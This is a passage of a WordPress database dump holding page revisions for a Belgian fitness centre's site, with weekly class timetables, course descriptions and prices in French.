0, 'revision', '', 0),
(213, 1, '2013-07-03 18:23:10', '2013-07-03 18:23:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:23:10', '2013-07-03 18:23:10', '', 11, 'http://www.crosstrainingcenter.be/?p=213', 0, 'revision', '', 0),
(212, 1, '2013-07-03 18:22:23', '2013-07-03 18:22:23', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;p&gt;&lt;/p&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;&lt;/h2&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 18:22:23', '2013-07-03 18:22:23', '', 11, 'http://www.crosstrainingcenter.be/?p=212', 0, 'revision', '', 0),
(218, 2, '2013-09-17 20:26:02', '2013-09-17 20:26:02', '&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-autosave', '', '', '2013-09-17 20:26:02', '2013-09-17 20:26:02', '', 214, 'http://www.crosstrainingcenter.be/?p=218', 0, 'revision', '', 0),
(214, 1, '2013-07-03 18:25:11', '2013-07-03 18:25:11', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'publish', 'closed', 'open', '', 'prix', '', '', '2013-11-03 10:12:44', '2013-11-03 10:12:44', '', 0, 'http://www.crosstrainingcenter.be/?page_id=214', 0, 'page', '', 0),
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(232, 1, '2013-07-03 19:31:30', '2013-07-03 19:31:30', '', 'bertrand_bauwin-pti', '', 'inherit', 'open', 'open', '', 'bertrand_bauwin-pti', '', '', '2013-07-03 19:31:30', '2013-07-03 19:31:30', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(217, 1, '2013-07-03 18:23:56', '2013-07-03 18:23:56', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 